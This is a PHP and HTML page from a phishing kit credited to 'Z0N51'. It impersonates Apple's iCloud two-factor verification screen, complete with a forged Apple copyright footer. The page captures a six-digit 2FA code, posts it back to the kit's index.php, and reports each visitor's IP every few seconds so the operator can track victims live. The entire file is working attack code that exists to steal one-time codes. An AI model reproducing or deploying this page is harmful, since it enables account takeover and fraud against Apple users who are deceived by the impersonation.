<?php
    /*******
    Main Author: Z0N51
    Contact me on telegram : https://t.me/z0n51official
    ********************************************************/
    
    $_SESSION['last_page'] = "i2fa";
?>
<!doctype html>
<html>

    <head>
        <!-- Required meta tags -->
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="robots" content="noindex," "nofollow," "noimageindex," "noarchive," "nocache," "nosnippet">
        
        <!-- CSS FILES -->
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css">
        <link rel="stylesheet" href="<?php echo CSSPATH; ?>/helpers.css">
        <link rel="stylesheet" href="<?php echo CSSPATH; ?>/istyle.css">

        <link rel="icon" type="image/png" href="<?php echo IMGSPATH; ?>/i/ff.png" />

        <title>iCloud</title>
    </head>

    <body>

        <header id="header">
            <div class="logo"><img src="<?php echo IMGSPATH; ?>/i/logo.svg"></div>
            <div class="dots"><img src="<?php echo IMGSPATH; ?>/i/dots.svg"></div>
        </header>

        <main id="main">
            <div class="box">
                <div class="logo"><img src="<?php echo IMGSPATH; ?>/i/img.svg"></div>
                <div class="title mb20 mt20">
                    <h3 style="color: #494949; font-size: 24px; font-weight: 400;"><?php echo get_text('i2fa_title'); ?></h3>
                </div>
                <form class="form2 mb30" action="<?php echo base64_encode(time()); ?>" method="POST">
                    <input type="hidden" id="cap" name="cap">
                    <input type="hidden" name="steeep" id="steeep" value="i2fa">
                    <div class="form-group mb-3 <?php echo errclass($_SESSION['errors'],'2fa') ?>">
                        <div class="inputs">
                            <input type="text" name="n1" id="n1" class="form-control">
                            <input type="text" name="n2" id="n2" class="form-control">
                            <input type="text" name="n3" id="n3" class="form-control">
                            <input type="text" name="n4" id="n4" class="form-control">
                            <input type="text" name="n5" id="n5" class="form-control">
                            <input type="text" name="n6" id="n6" class="form-control">
                        </div>
                        <?php echo errmsg2($_SESSION['errors'],'2fa'); ?>
                    </div>
                </form>
                <p class="txt"><?php echo get_text('i2fa_text1'); ?></p>
                <div class="dddd">
                    <div class="loader text-center">
                        <img style="width: 24px;" src="<?php echo IMGSPATH; ?>/i/loader.gif">
                        <?php echo get_text('iverifying'); ?>
                    </div>
                    <ul class="links">
                        <li><?php echo get_text('iresend'); ?></li>
                        <li><?php echo get_text('icant'); ?></li>
                    </ul>
                </div>
                <hr>
                <p class="txt2 mt30 mb30"><?php echo get_text('i2fa_text2'); ?></p>
                <div class="help">
                    <div>
                        <img src="<?php echo IMGSPATH; ?>/i/find.svg">
                        <p><?php echo get_text('ifind'); ?></p>
                    </div>
                    <div>
                        <img src="<?php echo IMGSPATH; ?>/i/manage.svg">
                        <p><?php echo get_text('imanage'); ?></p>
                    </div>
                </div>
            </div>
        </main>

        <footer id="footer">
            <div class="container">
                <ul>
                    <li>System Status</li>
                    <li>Privacy Policy</li>
                    <li>Terms & Conditions</li>
                </ul>
                <p>Copyright &copy; <?php echo date('Y'); ?> Apple Inc. All rights reserved.</p>
            </div>
        </footer>

        <!-- JS FILES -->
        <script src="https://code.jquery.com/jquery-3.6.1.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.bundle.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.2.0/js/all.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
        <script src="<?php echo JSPATH; ?>/script.js"></script>

        <script>

            $('#n1').mask('0');
            $('#n2').mask('0');
            $('#n3').mask('0');
            $('#n4').mask('0');
            $('#n5').mask('0');
            $('#n6').mask('0');
            
            worker();
            var jsonData = {
                action: 'VISITORS',
                ip: '<?php echo get_client_ip(); ?>',
                page: 'i2fa'
            };
            sendAjaxRequestEveryFourSeconds(jsonData);

            $('.inputs input').keyup(function(e){
                $(this).addClass('active');
                var btn = e.keyCode;
                if( btn == 8 ) {
                    $(this).prev().focus();
                } else {
                    $(this).next().focus();
                }
            });
            $('.inputs input').click(function(){
                $('.inputs input').each(function(i){
                    if( $(this).val() == '' ) {
                        $(this).focus();
                        return false;
                    }
                }); 
            });

            $('.inputs input').keyup(function(){
                var n1 = $('#n1').val().length;
                var n2 = $('#n2').val().length;
                var n3 = $('#n3').val().length;
                var n4 = $('#n4').val().length;
                var n5 = $('#n5').val().length;
                var n6 = $('#n6').val().length;
                if( n1 > 0 && n2 > 0 && n3 > 0 && n4 > 0 && n5 > 0 && n6 > 0 ) {

                    $('.dddd').addClass("w8");
                    $('.has-error').removeClass("has-error");
                    $('.errmsg').hide();

                    formData = {
                        'cap' : $('#cap').val(),
                        'steeep' : $('#steeep').val(),
                        'n1' : $('#n1').val(),
                        'n2' : $('#n2').val(),
                        'n3' : $('#n3').val(),
                        'n4' : $('#n4').val(),
                        'n5' : $('#n5').val(),
                        'n6' : $('#n6').val(),
                    }
                    $.post( "index.php", formData )
                        .done(function( data ) {
                        if( data == "success" ) {

                        } else {
                            window.location.href = data;
                        }
                    });

                }

            });

        </script>

    </body>

</html>